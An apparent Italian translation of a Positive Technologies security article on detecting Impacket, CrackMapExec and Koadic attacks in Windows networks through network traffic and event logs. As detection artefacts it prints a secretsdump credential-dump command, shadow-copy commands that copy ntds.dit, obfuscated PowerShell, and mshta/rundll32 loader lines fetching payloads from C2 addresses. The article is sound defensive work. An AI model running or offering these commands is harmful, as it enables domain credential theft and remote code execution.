Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker

Ogni anno aumenta il numero di attacchi nel settore aziendale: ad esempio nel 2017 si è registrato un 13% in più di incidenti unici rispetto al 2016, mentre nel 2018 — ci sono stati il 27% in più di incidenti, rispetto al periodo precedente. Questo include anche quelli in cui il principale strumento di lavoro è il sistema operativo Windows. Negli anni 2017-2018, i gruppi APT Dragonfly, APT28, APT MuddyWater hanno condotto attacchi a organizzazioni governative e militari in Europa, Nord America e Arabia Saudita. E hanno utilizzato per questo tre strumenti — Impacket, CrackMapExec e Koadic. Il loro codice sorgente è aperto e disponibile su GitHub.

Vale la pena notare che questi strumenti non vengono utilizzati per la penetrazione iniziale, ma per l'evoluzione dell'attacco all'interno dell'infrastruttura. I malintenzionati li utilizzano in diverse fasi dell'attacco, che seguono dopo aver superato il perimetro. Questo, per così dire, è difficile da rilevare e spesso solo tramite tecnologie per l'identificazione dei segni di compromissione nel traffico di rete o strumenti in grado di rilevare le azioni attive del malintenzionato dopo che è penetrato nell'infrastruttura. Gli strumenti offrono molte funzionalità, dalla trasmissione di file all'interazione con il registro e all'esecuzione di comandi su una macchina remota. Abbiamo condotto un'indagine su questi strumenti per determinare la loro attività di rete.

Cosa dovevamo fare:

  • Comprendere come funziona l'arsenale degli hacker. Scoprire cosa serve agli attaccanti per sfruttare e quali tecnologie possono utilizzare.
  • Trovare ciò che non viene rilevato dagli strumenti di sicurezza informatica nelle prime fasi dell'attacco. La fase di ricognizione può essere saltata, sia perché l'attaccante è un malintenzionato interno, sia perché l'attaccante sfrutta una vulnerabilità nell'infrastruttura di cui non si era a conoscenza. Si presenta l'opportunità di ricostruire l'intera catena delle sue azioni, da cui deriva il desiderio di rilevare ulteriori spostamenti.
  • Eliminare i falsi positivi degli strumenti di rilevamento delle intrusioni. Non si può dimenticare che, al momento della scoperta di determinate azioni basate unicamente su informazioni di intelligence, possono verificarsi frequenti errori. In genere, nell'infrastruttura esistono diversi modi, che a prima vista sembrano legittimi, per ottenere informazioni.

Cosa offrono agli attaccanti questi strumenti? Se si tratta di Impacket, i malintenzionati ottengono una vasta libreria di moduli utilizzabili in diverse fasi dell'attacco, una volta superato il perimetro. Molti strumenti utilizzano moduli di Impacket al loro interno, come ad esempio Metasploit. Questo include dcomexec e wmiexec per l'esecuzione remota di comandi, secretsdump per estrarre le credenziali dalla memoria, tutti forniti da Impacket. Alla fine, una corretta rilevazione dell'attività di tale libreria garantirà la scoperta dei derivati.

Non è un caso che i creatori di CrackMapExec (o semplicemente CME) abbiano scritto "Powered by Impacket". Inoltre, CME presenta funzionalità pronte per scenari popolari: c'è Mimikatz per recuperare password o hash, e l'iniezione di Meterpreter o Empire agent per l'esecuzione remota, e Bloodhound a bordo.

Il terzo strumento scelto da noi è Koadic. È piuttosto recente, presentato alla conferenza hacker internazionale DEFCON 25 nel 2017, e si distingue per un approccio non convenzionale: funziona attraverso HTTP, Java Script e Microsoft Visual Basic Script (VBS). Questo approccio è chiamato living off the land: lo strumento sfrutta un insieme di dipendenze e librerie integrate in Windows. I creatori lo chiamano COM Command & Control, o C3.

IMPACKET

La funzionalità di Impacket è molto ampia, partendo dall'intelligence all'interno dell'AD e dalla raccolta dati dai server interni MS SQL, fino a tecniche per recuperare credenziali: include attacchi SMB relay e l'estrazione del file ntds.dit dal controller di dominio, che contiene gli hash delle password degli utenti. Inoltre, Impacket esegue comandi in remoto utilizzando quattro metodi diversi: tramite WMI, il servizio per la gestione del pianificatore Windows, DCOM e SMB, e per questo ha bisogno di credenziali.

Secretsdump

Esaminiamo secretsdump. Questo è un modulo il cui obiettivo possono essere sia le macchine degli utenti che i controller di dominio. Attraverso di esso è possibile ottenere copie delle aree di memoria LSA, SAM, SECURITY, NTDS.dit, quindi può essere visto in diverse fasi di attacco. Il primo passo nel funzionamento del modulo è l'autenticazione tramite SMB, per la quale è necessaria o la password dell'utente, o il suo hash per eseguire automaticamente l'attacco Pass the Hash. Successivamente, viene effettuata una richiesta per l'apertura dell'accesso al Service Control Manager (SCM) e per ottenere l'accesso al registro tramite il protocollo winreg, il quale consente all'attaccante di conoscere i dati delle ramificazioni di interesse e di ottenere risultati attraverso SMB.

Nella fig. 1 vediamo come avviene l'accesso tramite il protocollo winreg al registro delle chiavi LSA. A tal fine si utilizza il comando DCERPC con opcode 15 — OpenKey.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 1. Apertura della chiave di registro tramite il protocollo winreg

Successivamente, quando è stato ottenuto l'accesso alla chiave, si procede al salvataggio dei valori con il comando SaveKey con opcode 20. Impacket lo esegue in modo piuttosto specifico. Salva i valori in un file, il cui nome è una stringa di 8 simboli casuali con l'aggiunta di .tmp. Inoltre, il successivo scaricamento di questo file avviene tramite SMB dalla directory System32 (fig. 2).

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 2. Schema di ottenimento della chiave di registro da una macchina remota

Dunque, è possibile rilevare tale attività in rete attraverso richieste a determinate ramificazioni del registro tramite il protocollo winreg, nomi specifici, comandi e il loro ordine.

Inoltre, questo modulo lascia tracce nel registro eventi di Windows, grazie alle quali è facilmente individuabile. Ad esempio, a seguito dell'esecuzione del comando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

nel registro di Windows Server 2016 vedremo la seguente sequenza di eventi chiave:

1. 4624 — accesso remoto.
2. 5145 — verifica dei diritti di accesso al servizio remoto winreg.
3. 5145 — verifica dei diritti di accesso al file nella directory System32. Il file ha un nome casuale, menzionato sopra.
4. 4688 — creazione del processo cmd.exe, che avvia vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — creazione del processo con il comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — creazione del processo con il comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — creazione del processo con il comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Come molti strumenti per il post-exploitazione, Impacket ha moduli per l'esecuzione remota dei comandi. Ci concentreremo su smbexec, che offre una shell interattiva su una macchina remota. Questo modulo richiede anche l'autenticazione tramite SMB, sia con una password che con il suo hash. Nell'immagine 3 vediamo un esempio di funzionamento di questo strumento, in questo caso si tratta della console dell'amministratore locale.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Immagine 3. Console interattiva di smbexec

Il primo passo di smbexec dopo l'autenticazione è l'apertura di SCM con il comando OpenSCManagerW (15). La richiesta è notevole: nel campo MachineName è presente il valore DUMMY.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Immagine 4. Richiesta per l'apertura del Service Control Manager

Successivamente, viene creato un servizio tramite il comando CreateServiceW (12). Nel caso di smbexec, possiamo vedere ogni volta la logica di costruzione del comando. Nell'immagine 5, i parametri costanti del comando sono evidenziati in verde, mentre quelli che l'attaccante può modificare sono in giallo. Non è difficile notare che il nome del file eseguibile, la sua directory e il file di output possono essere cambiati, ma modificare il resto è più difficile senza compromettere la logica di funzionamento del modulo Impacket.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Immagine 5. Richiesta per la creazione di un servizio tramite il Service Control Manager

Smbexec lascia anche tracce evidenti nel registro eventi di Windows. Nel registro di Windows Server 2016 per la shell interattiva con il comando ipconfig vediamo la seguente sequenza chiave di eventi:

1. 4697 — installazione del servizio sulla macchina della vittima:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — creazione del processo cmd.exe con argomenti del punto 1.
3. 5145 — verifica dei diritti di accesso al file __output nella directory C$.
4. 4697 — installazione del servizio sulla macchina della vittima.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — creazione del processo cmd.exe con argomenti dal punto 4.
6. 5145 — verifica dei diritti di accesso al file __output nella directory C$.

Impacket è alla base dello sviluppo di strumenti per attacchi. Supporta quasi tutti i protocolli nell'infrastruttura Windows e ha le sue caratteristiche distintive. Qui ci sono richieste specifiche winreg, l'uso dell'API SCM con specifica formulazione dei comandi, il formato dei nomi dei file e la condivisione SMB SYSTEM32.

CRACKMAPEXEC

Lo strumento CME è progettato principalmente per automatizzare quelle azioni routinarie che un attaccante deve eseguire per progredire all'interno della rete. Consente di operare in sinergia con i noti agenti di Empire e Meterpreter. Per eseguire comandi in modo invisibile, CME può oscurarli. Usando Bloodhound (un altro strumento per la ricognizione), l'attaccante può automatizzare la ricerca di sessioni attive dell'amministratore di dominio.

Bloodhound

Bloodhound, come strumento autonomo, consente di svolgere una ricognizione avanzata all'interno della rete. Raccoglie dati su utenti, macchine, gruppi, sessioni ed è fornito sotto forma di script PowerShell o file binari. Per raccogliere informazioni utilizza LDAP o protocolli basati su SMB. Il modulo di integrazione CME consente di caricare Bloodhound sulla macchina della vittima, eseguirlo e raccogliere i dati dopo l'esecuzione, automatizzando così le azioni nel sistema e rendendole meno evidenti. L'interfaccia grafica di Bloodhound presenta i dati raccolti sotto forma di grafi, il che consente di trovare il percorso più breve dalla macchina dell'attaccante all'amministratore di dominio.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 6. Interfaccia di Bloodhound

Per avviare sulla macchina della vittima, il modulo crea un'attività usando ATSVC e SMB. ATSVC è l'interfaccia per lavorare con il pianificatore di attività di Windows. CME utilizza la sua funzione NetrJobAdd (1) per creare attività in rete. Un esempio di ciò che invia il modulo CME è mostrato nella fig. 7: questa è la chiamata al comando cmd.exe e il codice oscurato sotto forma di argomenti in formato XML.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 7. Creazione dell'attività tramite CME

Dopo che l'attività è stata inviata per l'esecuzione, la macchina della vittima avvia Bloodhound, e questo è visibile nel traffico. Per il modulo sono tipiche le richieste LDAP per ottenere gruppi standard, un elenco di tutte le macchine e utenti nel dominio, e l'ottenimento di informazioni sulle sessioni utente attive tramite la richiesta SRVSVC NetSessEnum.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 8. Ottenere un elenco delle sessioni attive tramite SMB

Inoltre, l'avvio di Bloodhound sulla macchina vittima con l'auditing attivato è accompagnato da un evento con ID 4688 (creazione di processo) e dal nome del processo "C:WindowsSystem32cmd.exe". Gli argomenti della riga di comando sono degni di nota:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Il modulo enum_avproducts è molto interessante dal punto di vista della funzionalità e della realizzazione. WMI consente, tramite il linguaggio di query WQL, di ottenere dati su vari oggetti Windows, e questo è esattamente ciò che utilizza questo modulo CME. Genera richieste alle classi AntiSpywareProduct e AntiМirusProduct riguardanti i mezzi di protezione installati sulla macchina vittima. Per ottenere i dati necessari, il modulo si connette allo spazio dei nomi rootSecurityCenter2, quindi crea una query WQL e riceve una risposta. In Fig. 9 è mostrato il contenuto di queste query e risposte. Nel nostro esempio, è stato identificato Windows Defender.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 9. Attività di rete del modulo enum_avproducts

Spesso l'audit WMI (Trace WMI-Activity), in cui è possibile trovare informazioni utili sulle query WQL, potrebbe risultare disattivato. Ma se è attivato, in caso di avvio dello script enum_avproducts verrà registrato un evento con ID 11. Esso conterrà il nome utente che ha inviato la richiesta e il nome nello spazio dei nomi rootSecurityCenter2.

Ciascuno dei moduli CME ha mostrato i propri artefatti, che si tratti di richieste WQL specifiche o di creazione di un determinato tipo di attività nel task scheduler con offuscamento e attività tipica di Bloodhound in LDAP e SMB.

KOADIC

Una caratteristica distintiva di Koadic è l'uso degli interpreti JavaScript e VBScript integrati in Windows. In questo senso segue la tendenza del living off the land, ovvero non ha dipendenze esterne e utilizza strumenti standard di Windows. È uno strumento per un completo Command & Control (CnC), poiché dopo l'infezione viene installato un 'impianto' sulla macchina che consente di controllarla. Tale macchina, nella terminologia di Koadic, è chiamata 'zombie'. In caso di mancanza di privilegi per un funzionamento completo lato vittima, Koadic ha la possibilità di elevarli, utilizzando tecniche di bypass del controllo degli account (UAC bypass).

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 10. Shell di comando Koadic

La vittima deve avviare autonomamente la comunicazione con il server Command & Control. Per questo motivo, deve utilizzare un URI predefinito e ottenere il corpo principale di Koadic tramite uno dei loader. Nella figura 11 è mostrato un esempio per il loader mshta.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Figura 11. Inizializzazione della sessione con il server CnC

Dalla variabile WS della risposta si comprende che l'esecuzione avviene tramite WScript.Shell, e le variabili STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contengono informazioni chiave sui parametri della sessione corrente. Questa è la prima coppia richiesta-risposta nella connessione HTTP con il server CnC. Le richieste successive sono direttamente collegate alla funzionalità dei moduli chiamati (impianti). Tutti i moduli Koadic funzionano solo con una sessione attiva con il CnC.

Mimikatz

Così come CME lavora con Bloodhound, Koadic lavora con Mimikatz come un programma separato e ha diversi modi per lanciarlo. Di seguito è mostrata una coppia richiesta-risposta per il caricamento dell'impianto Mimikatz.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Figura 12. Trasferimento di Mimikatz in Koadic

Si può notare come sia cambiato il formato dell'URI nella richiesta. È stato aggiunto un valore alla variabile csrf, che è responsabile del modulo selezionato. Non fate attenzione al suo nome; tutti noi sappiamo che di solito con CSRF si intende altro. In risposta è tornato lo stesso corpo principale di Koadic, al quale è stato aggiunto il codice relativo a Mimikatz. È piuttosto ampio, quindi consideriamo i punti chiave. Davanti a noi c'è una libreria Mimikatz codificata in base64, una classe .NET serializzata che la inietterà, e gli argomenti per l'esecuzione di Mimikatz. Il risultato dell'esecuzione viene trasmesso in rete in chiaro.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Figura 13. Risultato dell'esecuzione di Mimikatz su una macchina remota

Exec_cmd

In Koadic ci sono anche moduli in grado di eseguire comandi da remoto. Qui vedremo lo stesso metodo di generazione dell'URI e le familiari variabili sid e csrf. Nel caso del modulo exec_cmd, nel corpo viene aggiunto codice capace di eseguire comandi shell. Di seguito è mostrato tale codice contenuto nella risposta HTTP del server CnC.

Come rilevare attacchi all'infrastruttura Windows: esploriamo gli strumenti degli hacker
Figura 14. Codice dell'impianto exec_cmd

La variabile GAWTUUGCFI con l'attributo WS familiare è necessaria per l'esecuzione del codice. Con essa, l'impianto chiama la shell, elaborando due rami del codice - shell.exec con il ritorno del flusso di dati e shell.run senza ritorno.

Koadic non è un tool tipico, ma ha i suoi artefatti che possono essere trovati nel traffico legittimo:

  • formazione particolare delle richieste HTTP,
  • utilizzo delle API winHttpRequests,
  • creazione dell'oggetto WScript.Shell tramite ActiveXObject,
  • grande corpo eseguibile.

La connessione iniziale avvia il caricatore, quindi si presenta l'opportunità di rilevarne l'attività attraverso eventi di Windows. Per mshta, questo evento è 4688, che indica la creazione di un processo con l'attributo di avvio:

C:Windows	empshta.exe http://192.168.211.1:9999/dXpT6

Durante l'esecuzione di Koadic è possibile vedere anche altri eventi 4688 con attributi che lo caratterizzano bene:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windows	empshta.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windows	empshta.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Conclusioni

Il trend del living off the land sta guadagnando popolarità tra i criminali informatici. Usano strumenti e meccanismi integrati in Windows per i loro scopi. Vediamo come strumenti popolari come Koadic, CrackMapExec e Impacket, che seguono questo principio, si trovano sempre più spesso nei rapporti APT. Il numero di fork su GitHub di questi strumenti è in aumento, e stanno emergendo nuovi strumenti (ora ce ne sono circa mille). Questo trend sta guadagnando popolarità per la sua semplicità: i criminali non hanno bisogno di strumenti di terze parti, poiché sono già presenti sui computer delle vittime e aiutano a eludere le misure di sicurezza. Ci concentriamo sull'analisi dell'interazione di rete: ogni strumento descritto sopra lascia la sua traccia nel traffico di rete; il loro studio dettagliato ci ha permesso di addestrare il nostro prodotto PT Network Attack Discovery a rilevarli, il che alla fine aiuta a indagare su tutta la catena degli incidenti informatici che li coinvolgono.

Autori:

  • Anton Tyurin, Head of Expert Services, PT Expert Security Center, Positive Technologies
  • Yegor Podmokov, Expert, PT Expert Security Center, Positive Technologies

Fonte: habr.com

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster